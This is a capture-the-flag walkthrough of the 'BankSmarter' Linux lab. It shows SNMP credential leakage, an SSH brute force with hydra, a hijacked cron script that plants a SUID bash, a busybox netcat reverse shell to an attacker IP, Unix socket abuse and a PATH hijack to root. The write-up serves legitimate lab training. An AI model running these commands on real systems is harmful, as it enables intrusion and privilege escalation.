# BankSmarter

{% embed url="<https://courses.hacksmarter.org/courses/c90bd016-24a5-4776-9f35-819062c51f6f/take/banksmarter>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

You are a senior operator on the Hack Smarter Red Team, tasked with a penetration test against a standalone Linux server. Your objective is to gain initial access and escalate privileges to root, emulating a worst-case scenario where a threat actor successfully compromises a critical asset.

You have been given the IP address of the target server and your mission is to gain a foothold, escalate to the **root** user, and retrieve the final flag from the `/root/` directory.

## Recon

We start with a rustscan followed by services and default script scan, but we only find port `22` SSH. Strange.

```
rustscan -a 10.0.17.247 -- -sC -sV
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFnwu6UUu8yNjStJ2Y8Cs%2Fgrafik.png?alt=media&#x26;token=e3b8b942-2520-4638-9fc0-abdcb63ed6b0" alt=""><figcaption></figcaption></figure>

## Shell as stanley.layne

While the Nmap UDP scan is running we use Snmpwalk. Snmpwalk can be used query information from devices and systems that support **SNMP** Simple Network Management Protocol. It essentiallywalks through a portion of the **MIB** Management Information Base  tree. With the following command we'll querie the host `10.0.17.247` over SNMPv2c using the community string `public` and recursively retrieves all available SNMP objects and their values. And right at the beginning, we find credentials.

```
snmpwalk -c public -v 2c 10.0.17.247 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMvnDeLAcypvwdHThStYK%2Fgrafik.png?alt=media&#x26;token=8b05a845-a1c7-406a-930e-c15ff8b67d1f" alt=""><figcaption></figcaption></figure>

```
Admin Layne.Stanley:REDACTED
```

We craft a user and a password list with minor changes:

```
Layne
Stanley
Layne.Stanley
layne.stanley
lstanley
stanleyl
admin
administrator
ubuntu
ip-10-0-17-247
```

Next, we use hydra to try the users and passwords derived from the found credentials on the open SSH service. We are successful.

```
hydra -L users.txt -P passwords.txt 10.0.17.247 ssh -I 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FH0BPqUa3SekhFjmdGaXS%2Fgrafik.png?alt=media&#x26;token=2e6f60a3-03a4-404c-bad3-e76ab22b0a63" alt=""><figcaption></figcaption></figure>

We log in with the credentials and find the first flag in the users home directory. Furthermore there seems to be a backup script called `bankSmarter_backup.sh`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmXHSUEsx2IF1O5KfnQs3%2Fgrafik.png?alt=media&#x26;token=09e99afc-731e-4e99-87d3-f4bbd2b00e16" alt=""><figcaption></figcaption></figure>

## Shell as scott.weiland

### Enumeration

We start enumeration on the target machine. We'll find a bank directory in `/opt/bank`. This is owned by root and the group `bank-team` has execution permissions.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fr3YcrfstNI9uU055emCb%2Fgrafik.png?alt=media&#x26;token=51b38dcb-64d5-4499-b8dc-c05c68abfc39" alt=""><figcaption></figcaption></figure>

In `/tmp/` we'll find the folder `bank_exports`. Owned by `scott.weiland`. Something seems to be running in the background to create a backup.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeAjcbBeqR6M3IGZjwYSl%2Fgrafik.png?alt=media&#x26;token=728ff9d2-1d49-4fce-b54e-f35fcb27ac41" alt=""><figcaption></figcaption></figure>

We use pspy64 to detect services and cron jobs running in the background.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FO2SIXCb3XzEOqSBdBXeJ%2Fgrafik.png?alt=media&#x26;token=568ff2c0-9786-49fc-891f-27aca1cf8845" alt=""><figcaption></figcaption></figure>

We see that the user with UID `1003` is running the script `/opt/bank/pty_server.py`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUZ6K8NqHTmcAvcXwI0Be%2Fgrafik.png?alt=media&#x26;token=9d5a099f-3d75-4817-b546-903c6237c020" alt=""><figcaption></figcaption></figure>

Furthermore, we find the backup job running by user with  UID `1002`. It's running the script we found in the home directory of `layne.stanley`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPPy1nP55BJCykDaxXbzo%2Fgrafik.png?alt=media&#x26;token=196934c3-0319-45bb-b477-0c7527892ef4" alt=""><figcaption></figcaption></figure>

Here is the excerpt of the `/etc/passwd` for the resolution of the ids.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHpwDJn89knIzSvtjS3qm%2Fgrafik.png?alt=media&#x26;token=49ca229c-1f38-4a77-af23-340f6474d16f" alt=""><figcaption></figcaption></figure>

The lateral movement path appears to be as follows: `1002-> 1003-> root`

### Script Hijacking

We only have `read` permission to the script `bankSmarter_backup.sh`, and it is owned by `scott.weiland`. But it is in the home directory of our current user.

We can simply delete and replace it, since it is in our directory we own.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1EHHBHyYfOHAqYTGeFdL%2Fgrafik.png?alt=media&#x26;token=59d841f2-4f1a-492d-8df9-11fdbb9d4b22" alt=""><figcaption></figcaption></figure>

We remove the script

```
rm bankSmarter_backup.sh
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FirInHgzDseMnzE4Tl5ZF%2Fgrafik.png?alt=media&#x26;token=2929912f-6411-43c4-8006-292ebea78b13" alt=""><figcaption></figcaption></figure>

And replace the script with the following.

```
#!/bin/bash
cp /bin/bash /tmp/bash;
chmod 755 /tmp/bash;
chmod u+s /tmp/bash;
layne.stanley@ip-10-0-17-247:~$ chmod +x bankSmarter_backup.sh 
```

```
echo '#!/bin/bash' > bankSmarter_backup.sh
echo 'cp /bin/bash /tmp/bash;' >> bankSmarter_backup.sh
echo 'chmod 755 /tmp/bash;' >> bankSmarter_backup.sh
echo 'chmod u+s /tmp/bash;' >> bankSmarter_backup.sh
```

This will copy a `SUID` bash binary to `/tmp` owned by scott weiland.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnVRhbREgSVVgdD3iTRuD%2Fgrafik.png?alt=media&#x26;token=898b2137-10c5-4aad-a8d4-8c86c25b75b2" alt=""><figcaption></figcaption></figure>

We can use this to get a shell as `scott.weiland`. But we later discover that this shell is not sufficient. We do not have the permission to run the command we'll find in the `.bash_history` and are not able to. We are still `layne.stanley` but with the effective userid euid of `scott.weiland`. But cheking the memberships of scott.weiland with `id scott.weiland` we see what we are missing.

```
./bash -p
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2phkdqTJC4i1IBZWlVJH%2Fgrafik.png?alt=media&#x26;token=ed79fc92-16b5-4935-b4a1-08096b871415" alt=""><figcaption></figcaption></figure>

But we'll find the execution of the following command `socat stdio unix-connect:/opt/bank/sockets/live.sock` that seems to be related to the pty script we found in the pspy64 output. This is a connection to a local UNIX domain socket under `/opt/bank.`Maybe we can escalate that way to `ronnie.stone`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJPYf5fzrQKmwzd8pH8Wy%2Fgrafik.png?alt=media&#x26;token=f92b9354-bc70-40e0-8ac0-dca6e1dd303d" alt=""><figcaption></figcaption></figure>

Since we want a more interactive shell with all the groups set, we replace the `bankSmarter_backup.sh` script again and set up a reverse shell using busybox.

```
#!/bin/bash
busybox nc 10.200.1.17 4445 -e /bin/bash
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhHwDfr44xBtYbesRtdZI%2Fgrafik.png?alt=media&#x26;token=bf8062f2-2a0d-4364-90fb-cb6fc5c61854" alt=""><figcaption></figcaption></figure>

At this point, I would like to introduce the Penelope tool, which is a reverse shell catcher that automatically upgrades the shell.&#x20;

This tool was introduced to me by TheCyberSimon just recently - Thank you very much!

{% embed url="<https://github.com/brightio/penelope.git>" %}

> Penelope is a powerful shell handler built as a modern netcat replacement for RCE exploitation, aiming to simplify, accelerate, and optimize post-exploitation workflows.

We run our listener using `penelope` and catch the reverse shell. We are `scott.weiland`. And also in the group of `ronnie.stone`.

```
python penelope.py -p 4445
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0cjGDtQ5zSQtJjQ2OGqK%2Fgrafik.png?alt=media&#x26;token=e6bf20c1-e303-45f4-a6d6-cd8514bec753" alt=""><figcaption></figcaption></figure>

In the bash history of `scott.weiland` we found find the following line:

```
socat stdio unix-connect:/opt/bank/sockets/live.sock
```

* That socket could belong to Ronnie’s processes.
* If `scott` can connect and send commands, it may impersonate `ronnie`.

## Shell as ronnie.stone

We are now able to read the contents of `/opt/bank`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fxnz3jsD6l5ygNrkia2Oh%2Fgrafik.png?alt=media&#x26;token=263c2d29-80f0-47fd-b4fb-4334bc595f67" alt=""><figcaption></figcaption></figure>

### Unix Domain Socket Abuse - Socat Hijack

And we are also able to run the follwing line and get a shell as `ronnie.stone`. That user ist in the group `bank-team` and `bankers`.

```
socat stdio unix-connect:/opt/bank/sockets/live.sock
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ff9n7Lyfx3kiCoGluMj0A%2Fgrafik.png?alt=media&#x26;token=875d1eb2-e4ba-4c4d-a735-948a38c98899" alt=""><figcaption></figcaption></figure>

## Shell as root

We find the following executable `/usr/local/bin/bank_backupd`with execute permissions for `bankers`. This is also a `SUID` binary. So the execution runs as the owner which is in this case `root`.

* **Owner**: `root`
* **Group**: `bankers`
* **Permissions**: `4750` → SUID (`s` on user), only root can own, and group `bankers` can execute.

```
find / -group bankers -ls 2>/dev/null
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAEKv08hn9u64LKsmH8g9%2Fgrafik.png?alt=media&#x26;token=051641e8-b4ea-4af0-a085-74c6c85ec23f" alt=""><figcaption></figcaption></figure>

By running the binary `/usr/local/bin/bank_backupd` we see it is running `bank_backup.py` internally.&#x20;

```
/usr/local/bin/bank_backupd
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTiNbXbhZ00fNH99OD8sm%2Fgrafik.png?alt=media&#x26;token=bb60a6a5-ddc8-4103-96ee-65b827384da7" alt=""><figcaption></figcaption></figure>

We look for `bank_backup.py`. We find it at `/usr/local/bin/bank_backup.py.`

```
find / -name bank_backup.py 2>/dev/null
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7d5CWpSmzjg0Qd2SKRUb%2Fgrafik.png?alt=media&#x26;token=ade523e1-9126-4290-a20e-227810136bec" alt=""><figcaption></figcaption></figure>

### **PATH Hijack** in a SUID-root Binary

We do not have `write` permission, but we can inspect it.

```
ls -lah /usr/local/bin/bank_backup.py
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJ2TDvjFZLbtlOqkRPAvx%2Fgrafik.png?alt=media&#x26;token=a9014aa6-aac1-43c0-b339-5d50b8f09130" alt=""><figcaption></figcaption></figure>

The following Shebang stands out `#!/usr/bin/env python3`. Which in short translates to: 'Use whatever `python3` binary is first found in the `$PATH` environment variable.*'*\
Since the script is launched with `#!/usr/bin/env python3`, the SUID binary may just call `system("python3 /usr/local/bin/bank_backup.py").`

{% code title="bank\_backup.py" overflow="wrap" lineNumbers="true" %}

```
cat /usr/local/bin/bank_backup.py
#!/usr/bin/env python3

import hashlib, time, os


print("[bank_backup.py] Running internal Python verification...")

time.sleep(1)

print("[bank_backup.py] Hashing account transactions...")

# Fake hash calculation

print(hashlib.sha256(b"transaction data").hexdigest())

print("[bank_backup.py] Backup completed successfully.")
```

{% endcode %}

Idea:

`bank_backupd` just calls `python3` (no absolute path).

We drop a fake `python3` in `/tmp` that spawns `/bin/bash -p`

And then we'll run PATH=/tmp:$PATH /usr/local/bin/bank\_backupd.

We preapre the `python3` script...

```
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/python3
```

```
chmod +x /tmp/python3
```

... and run the following:

```
PATH=/tmp:$PATH /usr/local/bin/bank_backupd
```

We get a root shell!

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWZy9ghxwZQzxZYBgKwWM%2Fgrafik.png?alt=media&#x26;token=49125b43-4aba-4bfa-aa5c-6dbde631f39c" alt=""><figcaption></figcaption></figure>

And find the final flag at `/root/root.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0vzg6m180IFGSf1umKt8%2Fgrafik.png?alt=media&#x26;token=a5ec0e37-b4b4-462f-8177-7a10428c07b9" alt=""><figcaption></figcaption></figure>
